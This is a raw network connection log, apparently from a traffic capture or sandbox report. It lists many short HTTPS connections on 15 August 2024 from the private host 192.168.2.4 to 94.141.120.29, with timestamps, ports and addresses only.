Aug 15, 2024 08:10:49.024122953 CEST	50465	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.038995028 CEST	50465	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.039062023 CEST	443	50465	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.039262056 CEST	443	50465	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.045428991 CEST	50466	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.045506001 CEST	443	50466	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.045572996 CEST	50466	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.056648016 CEST	50466	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.056711912 CEST	443	50466	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.056875944 CEST	443	50466	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.061760902 CEST	50467	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.061841011 CEST	443	50467	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.062083006 CEST	50467	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.070794106 CEST	50467	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.070867062 CEST	443	50467	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.071096897 CEST	443	50467	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.078480959 CEST	50468	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.078560114 CEST	443	50468	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.078847885 CEST	50468	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.087779999 CEST	50468	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.087841988 CEST	443	50468	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.087902069 CEST	443	50468	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.093977928 CEST	50469	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.094017982 CEST	443	50469	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.094100952 CEST	50469	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.103044033 CEST	50469	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.103075981 CEST	443	50469	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.103208065 CEST	443	50469	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.109503984 CEST	50470	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.109585047 CEST	443	50470	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.109723091 CEST	50470	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.120311975 CEST	50470	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.120385885 CEST	443	50470	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.120429039 CEST	443	50470	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.129904032 CEST	50471	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.129982948 CEST	443	50471	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.130086899 CEST	50471	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.215962887 CEST	50471	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.216032982 CEST	443	50471	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.216104984 CEST	443	50471	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.225538015 CEST	50472	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.225619078 CEST	443	50472	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.233484030 CEST	50472	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.261521101 CEST	50472	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.261598110 CEST	443	50472	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.261676073 CEST	443	50472	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.269475937 CEST	50473	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.269542933 CEST	443	50473	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.277486086 CEST	50473	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.285482883 CEST	50473	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.285521984 CEST	443	50473	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.285572052 CEST	443	50473	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.293375015 CEST	50474	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.293414116 CEST	443	50474	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.301457882 CEST	50474	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.309490919 CEST	50474	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.309567928 CEST	443	50474	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.309644938 CEST	443	50474	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.317445993 CEST	50475	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.317523956 CEST	443	50475	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.325490952 CEST	50475	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.333504915 CEST	50475	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.333580971 CEST	443	50475	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.333631992 CEST	443	50475	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.341469049 CEST	50476	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.341526031 CEST	443	50476	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.343218088 CEST	50476	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.365411997 CEST	50476	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.365535021 CEST	443	50476	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.365591049 CEST	443	50476	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.386858940 CEST	50477	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.386971951 CEST	443	50477	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.387309074 CEST	50477	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.405342102 CEST	50477	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.405420065 CEST	443	50477	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.405477047 CEST	443	50477	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.422276974 CEST	50478	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.422354937 CEST	443	50478	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.422633886 CEST	50478	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.436652899 CEST	50478	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.436723948 CEST	443	50478	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.436868906 CEST	443	50478	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.443269014 CEST	50479	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.443348885 CEST	443	50479	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.443480968 CEST	50479	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.465456009 CEST	50479	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.465522051 CEST	443	50479	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.465585947 CEST	443	50479	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.471344948 CEST	50480	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.471426010 CEST	443	50480	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.471764088 CEST	50480	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.495553017 CEST	50480	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.495630026 CEST	443	50480	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.495789051 CEST	443	50480	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.501107931 CEST	50481	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.501189947 CEST	443	50481	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.501303911 CEST	50481	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.817504883 CEST	50481	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.817578077 CEST	443	50481	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.817728996 CEST	443	50481	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.887701035 CEST	50482	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.887780905 CEST	443	50482	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.887897015 CEST	50482	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.953248024 CEST	50482	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.953321934 CEST	443	50482	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.953381062 CEST	443	50482	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.959681988 CEST	50483	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.959763050 CEST	443	50483	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.960108042 CEST	50483	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.978365898 CEST	50483	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.978441000 CEST	443	50483	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.978571892 CEST	443	50483	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.985502958 CEST	50484	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.985584021 CEST	443	50484	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.985889912 CEST	50484	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.995639086 CEST	50484	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.995712042 CEST	443	50484	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.995840073 CEST	443	50484	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.000096083 CEST	50485	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.000174046 CEST	443	50485	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.000447035 CEST	50485	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.010822058 CEST	50485	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.010926962 CEST	443	50485	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.010988951 CEST	443	50485	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.021433115 CEST	50486	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.021512032 CEST	443	50486	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.021919966 CEST	50486	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.031934977 CEST	50486	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.032008886 CEST	443	50486	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.032145023 CEST	443	50486	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.037520885 CEST	50487	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.037600040 CEST	443	50487	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.037874937 CEST	50487	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.050587893 CEST	50487	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.050662041 CEST	443	50487	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.050791025 CEST	443	50487	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.055238962 CEST	50488	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.055319071 CEST	443	50488	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.057593107 CEST	50488	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.066919088 CEST	50488	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.066992998 CEST	443	50488	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.067126036 CEST	443	50488	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.073529959 CEST	50489	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.073610067 CEST	443	50489	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.081383944 CEST	50489	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.089493990 CEST	50489	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.089567900 CEST	443	50489	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.089690924 CEST	443	50489	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.097502947 CEST	50490	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.097580910 CEST	443	50490	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.105489016 CEST	50490	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.113497019 CEST	50490	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.113569975 CEST	443	50490	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.113735914 CEST	443	50490	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.121499062 CEST	50491	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.121577978 CEST	443	50491	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.129498005 CEST	50491	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.137526989 CEST	50491	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.137599945 CEST	443	50491	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.137666941 CEST	443	50491	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.142744064 CEST	50492	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.142822027 CEST	443	50492	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.149530888 CEST	50492	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.157387018 CEST	50492	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.157480955 CEST	443	50492	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.157604933 CEST	443	50492	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.165509939 CEST	50493	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.165586948 CEST	443	50493	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.173383951 CEST	50493	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.180088997 CEST	50493	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.180162907 CEST	443	50493	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.180329084 CEST	443	50493	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.184565067 CEST	50494	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.184643030 CEST	443	50494	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.184746981 CEST	50494	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.207175016 CEST	50494	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.207246065 CEST	443	50494	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.207381964 CEST	443	50494	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.223094940 CEST	50495	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.223172903 CEST	443	50495	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.223263025 CEST	50495	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.234982014 CEST	50495	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.235055923 CEST	443	50495	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.235210896 CEST	443	50495	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.239660978 CEST	50496	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.239710093 CEST	443	50496	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.239789963 CEST	50496	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.248719931 CEST	50496	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.248733044 CEST	443	50496	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.248907089 CEST	443	50496	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.252652884 CEST	50497	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.252687931 CEST	443	50497	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.252756119 CEST	50497	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.261523008 CEST	50497	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.261534929 CEST	443	50497	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.261604071 CEST	443	50497	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.266220093 CEST	50498	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.266230106 CEST	443	50498	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.266288042 CEST	50498	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.275470972 CEST	50498	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.275481939 CEST	443	50498	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.275563002 CEST	443	50498	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.279661894 CEST	50499	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.279671907 CEST	443	50499	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.279731035 CEST	50499	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.288770914 CEST	50499	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.288780928 CEST	443	50499	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.288840055 CEST	443	50499	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.293509960 CEST	50500	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.293518066 CEST	443	50500	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.293605089 CEST	50500	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.306437016 CEST	50500	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.306447029 CEST	443	50500	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.306631088 CEST	443	50500	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.314629078 CEST	50501	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.314641953 CEST	443	50501	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.314692974 CEST	50501	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.329365015 CEST	50501	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.329375029 CEST	443	50501	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.329546928 CEST	443	50501	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.333703041 CEST	50502	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.333713055 CEST	443	50502	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.333772898 CEST	50502	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.342602968 CEST	50502	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.342619896 CEST	443	50502	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.342789888 CEST	443	50502	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.347378016 CEST	50503	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.347395897 CEST	443	50503	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.347470999 CEST	50503	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.356627941 CEST	50503	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.356642962 CEST	443	50503	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.356700897 CEST	443	50503	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.361939907 CEST	50504	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.361951113 CEST	443	50504	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.361994982 CEST	50504	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.378734112 CEST	50504	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.378743887 CEST	443	50504	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.378909111 CEST	443	50504	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.385056973 CEST	50505	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.385070086 CEST	443	50505	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.385122061 CEST	50505	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.395359993 CEST	50505	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.395369053 CEST	443	50505	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.395524025 CEST	443	50505	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.402467966 CEST	50506	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.402477026 CEST	443	50506	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.402529001 CEST	50506	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.422844887 CEST	50506	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.422856092 CEST	443	50506	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.422919035 CEST	443	50506	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.428198099 CEST	50507	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.428215027 CEST	443	50507	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.428276062 CEST	50507	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.437354088 CEST	50507	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.437366009 CEST	443	50507	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.437429905 CEST	443	50507	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.442843914 CEST	50508	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.442854881 CEST	443	50508	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.442899942 CEST	50508	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.459388018 CEST	50508	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.459398985 CEST	443	50508	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.459455967 CEST	443	50508	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.468435049 CEST	50509	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.468446970 CEST	443	50509	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.468506098 CEST	50509	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.481313944 CEST	50509	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.481327057 CEST	443	50509	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.481532097 CEST	443	50509	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.488650084 CEST	50510	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.488658905 CEST	443	50510	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.488723040 CEST	50510	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.509099007 CEST	50510	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.509114981 CEST	443	50510	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.509166956 CEST	443	50510	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.513206959 CEST	50511	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.513221025 CEST	443	50511	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.513284922 CEST	50511	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.533236980 CEST	50511	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.533247948 CEST	443	50511	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.533339024 CEST	443	50511	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.545064926 CEST	50512	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.545093060 CEST	443	50512	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.545141935 CEST	50512	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.598203897 CEST	50512	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.598227978 CEST	443	50512	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.598378897 CEST	443	50512	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.619277954 CEST	50513	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.619328022 CEST	443	50513	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.619391918 CEST	50513	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.638761997 CEST	50513	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.638773918 CEST	443	50513	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.638861895 CEST	443	50513	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.643732071 CEST	50514	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.643743992 CEST	443	50514	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.643804073 CEST	50514	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.660979986 CEST	50514	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.660989046 CEST	443	50514	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.661060095 CEST	443	50514	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.665323973 CEST	50515	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.665360928 CEST	443	50515	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.665426970 CEST	50515	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.674706936 CEST	50515	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.674719095 CEST	443	50515	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.674794912 CEST	443	50515	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.678792000 CEST	50516	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.678802967 CEST	443	50516	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.678877115 CEST	50516	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.687742949 CEST	50516	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.687752962 CEST	443	50516	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.687925100 CEST	443	50516	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.694026947 CEST	50517	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.694046974 CEST	443	50517	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.694097996 CEST	50517	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.709100008 CEST	50517	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.709117889 CEST	443	50517	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.709175110 CEST	443	50517	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.716156006 CEST	50518	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.716175079 CEST	443	50518	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.716228008 CEST	50518	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.726622105 CEST	50518	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.726639986 CEST	443	50518	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.726685047 CEST	443	50518	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.730922937 CEST	50519	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.730932951 CEST	443	50519	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.730992079 CEST	50519	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.742330074 CEST	50519	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.742340088 CEST	443	50519	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.742492914 CEST	443	50519	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.748384953 CEST	50520	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.748395920 CEST	443	50520	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.748444080 CEST	50520	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.763819933 CEST	50520	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.763829947 CEST	443	50520	94.141.120.29	192.168.2.4
